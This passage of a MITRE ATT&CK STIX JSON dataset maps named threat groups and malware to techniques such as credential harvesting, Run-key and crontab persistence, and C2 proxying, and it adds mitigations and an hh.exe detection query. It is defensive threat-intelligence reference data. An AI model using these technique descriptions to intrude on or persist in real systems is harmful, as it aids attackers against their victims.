["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--628054bd-e758-4528-a1fb-40983ecec149", "type": "relationship", "created": "2020-12-29T18:53:14.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T18:53:14.964Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed victim security and IT environments and Microsoft Teams to mine valuable information.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6287195f-bb8e-45e2-8701-76ec2c5e7a60", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2019-04-25T12:37:45.657Z", "description": "(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", "target_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62943e4f-a181-4eb2-84a4-27ed3e7308af", "type": "relationship", "created": "2020-03-19T22:38:12.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-19T22:38:12.967Z", "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs including Web browsers.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6294c77d-4a8d-4f6d-ba52-d3b84c109cb4", "created": "2023-09-12T19:50:16.354Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Proofpoint TA2541 February 2022", "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. 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Retrieved September 15, 2023.", "url": "https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-18T18:07:19.253Z", "description": "[TA2541](https://attack.mitre.org/groups/G1018) has registered domains often containing the keywords \u201ckimjoy,\u201d \u201ch0pe,\u201d and \u201cgrace,\u201d using domain registrars including Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko, Artyom.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62959831-1f76-4274-b462-731fcffd164d", "type": "relationship", "created": "2020-02-18T16:51:57.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-18T16:51:57.989Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--629775bc-6ca5-499c-b756-69017c064f37", "type": "relationship", "created": "2021-01-08T21:14:15.986Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}], "modified": "2021-01-08T21:14:15.986Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use crontabs to establish persistence.(Citation: Red Canary NETWIRE January 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--62a11eb5-d59b-49d3-b4b5-d88e3cb4e538", "created": "2022-09-09T16:21:25.094Z", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. 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(2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", "url": "https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}, {"source_name": "NCC Group Chimera January 2021", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T18:11:56.972Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used Windows admin shares to move laterally.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62a7f7c2-435d-4ef6-aee3-add933fb241d", "type": "relationship", "created": "2020-05-14T15:14:33.519Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}], "modified": "2020-05-14T15:14:33.519Z", "description": "[DustySky](https://attack.mitre.org/software/S0062) can detect connected USB devices.(Citation: Kaspersky MoleRATs April 2019)", "relationship_type": "uses", "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62a81aa2-bba1-47f3-81bc-ddc1912e2540", "type": "relationship", "created": "2020-11-09T14:52:45.671Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2021-04-22T13:48:19.842Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has attempted to appear as a legitimate Windows service with a fake description claiming it is used to support packed applications.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62b22a20-4049-4f0d-b879-235e8ab96764", "type": "relationship", "created": "2020-02-18T16:48:56.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object", "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", "source_name": "Microsoft Create Token"}, {"url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token", "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", "source_name": "Microsoft Replace Process Token"}, {"url": "https://technet.microsoft.com/en-us/library/bb490994.aspx", "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", "source_name": "Microsoft runas"}], "modified": "2021-10-17T14:51:49.208Z", "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62b24ac0-b55c-42fa-bbf3-80ab7ba620d9", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor for changes in the status of the system firewall such as Windows Security Auditing events 5025 (The Windows firewall service has been stopped) and 5034 (The Windows firewall driver was stopped).", "source_ref": "x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a", "target_ref": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62bd74e2-ca03-4564-ae9b-75637c4c6acf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}], "modified": "2019-04-24T23:55:43.436Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) collects the victim\u2019s username and whether that user is an admin.(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62bf12af-cf11-48e7-8963-4fdf3e23fea0", "type": "relationship", "created": "2020-05-05T18:47:47.370Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Imminent Unit42 Dec2019", "url": "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", "description": "Unit 42. (2019, December 2). Imminent Monitor \u2013 a RAT Down Under. Retrieved May 5, 2020."}, {"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.408Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a remote webcam monitoring capability.(Citation: Imminent Unit42 Dec2019)(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62bf46b4-69b3-4a32-bcbb-c9d960e3039a", "type": "relationship", "created": "2019-05-29T14:32:01.686Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Deep Instinct TA505 Apr 2019", "url": "https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019."}], "modified": "2020-03-19T19:13:22.039Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) may attempt to establish persistence via the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\</code> run key.(Citation: Deep Instinct TA505 Apr 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62c1a647-4a39-45b1-8d68-99b19ec12a78", "type": "relationship", "created": "2020-10-19T13:55:56.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Maze VM September 2020", "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}], "modified": "2020-10-19T16:33:42.242Z", "description": "[Maze](https://attack.mitre.org/software/S0449) has issued a shutdown command on a victim machine that, upon reboot, will run the ransomware within a VM.(Citation: Sophos Maze VM September 2020)", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62c20028-7476-4358-8384-93d40cb65222", "type": "relationship", "created": "2022-03-10T20:49:32.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 WhisperGate January 2022", "url": "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family", "description": "Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022."}, {"source_name": "Medium S2W WhisperGate January 2022", "url": "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", "description": "S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022."}], "modified": "2022-03-14T15:00:31.260Z", "description": "[WhisperGate](https://attack.mitre.org/software/S0689) can make an HTTPS connection to download additional files.(Citation: Unit 42 WhisperGate January 2022)(Citation: Medium S2W WhisperGate January 2022)", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62c5050d-983c-44f7-ba23-f2820398eb67", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "source_name": "Talos Cobalt Group July 2018"}, {"source_name": "Morphisec Cobalt Gang Oct 2018", "url": "https://blog.morphisec.com/cobalt-gang-2.0", "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."}, {"description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", "source_name": "TrendMicro Cobalt Group Nov 2017"}], "modified": "2019-07-26T23:38:33.825Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used regsvr32.exe to execute scripts.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62c8913c-c193-4feb-ab58-88343838336d", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist MiniDuke Feb 2013", "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"}], "modified": "2020-03-17T01:51:14.536Z", "description": "[MiniDuke](https://attack.mitre.org/software/S0051) uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.(Citation: Securelist MiniDuke Feb 2013)", "relationship_type": "uses", "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62c9428a-c3cf-476e-b125-a6478bc1bfa1", "type": "relationship", "created": "2021-03-29T18:52:06.405Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Bad Rabbit", "url": "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", "description": "M.L\u00e9veille, M-E.. (2017, October 24). Bad Rabbit: Not\u2011Petya is back with improved ransomware. Retrieved January 28, 2021."}], "modified": "2021-05-04T19:28:12.969Z", "description": "[Bad Rabbit](https://attack.mitre.org/software/S0606) has used [Mimikatz](https://attack.mitre.org/software/S0002) to harvest credentials from the victim's machine.(Citation: ESET Bad Rabbit)", "relationship_type": "uses", "source_ref": "malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62c9a1c7-557e-433b-b422-3427a308f34e", "type": "relationship", "created": "2020-03-26T16:17:09.647Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-09T18:44:34.017Z", "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62ca66d8-fad3-4504-a002-243e3382c280", "type": "relationship", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.862Z", "description": "Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--62d56cae-9131-4088-ad0a-810a731d2a9f", "created": "2023-08-01T18:28:53.371Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BitDefender BADHATCH Mar 2021", "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:35:02.562Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can use SOCKS4 and SOCKS5 proxies to connect to actor-controlled C2 servers. [BADHATCH](https://attack.mitre.org/software/S1081) can also emulate a reverse proxy on a compromised machine to connect with actor-controlled C2 servers.(Citation: BitDefender BADHATCH Mar 2021)", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62d5e701-4fdc-4a1f-8c0a-3861e26d28ce", "type": "relationship", "created": "2021-09-28T15:46:10.810Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-09-28T15:46:10.810Z", "description": "(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", "target_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--62d69501-41a6-4c7a-8d54-760d0f0c5495", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MsitPros CHM Aug 2017", "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", "url": "https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:52:57.512Z", "description": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for the creation of any HTML Help Executable (<code> hh.exe </code>) processes. Adversaries may hide malicious code in <code> .chm </code> compiled help files; whenever a user tries to open one of these files, Windows executes the HTML Help Executable. Therefore, if there are legitimate uses of compiled help files in your environment, this analytic may lead to false positives and will require additional tuning. \n\nAnalytic 1 - Compiled HTML Access\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\\\Windows\\\\syswow64\\\\hh.exe\" OR Image=\"C:\\\\Windows\\\\system32\\\\hh.exe\" </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--62d8cec2-c94f-4a18-ab0a-0a182e30f33a", "type": "relationship", "created": "2019-06-25T12:09:15.655Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", "source_name": "MRWLabs Office Persistence Add-ins"}], "modified": "2021-08-16T21:25:04.393Z", "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", 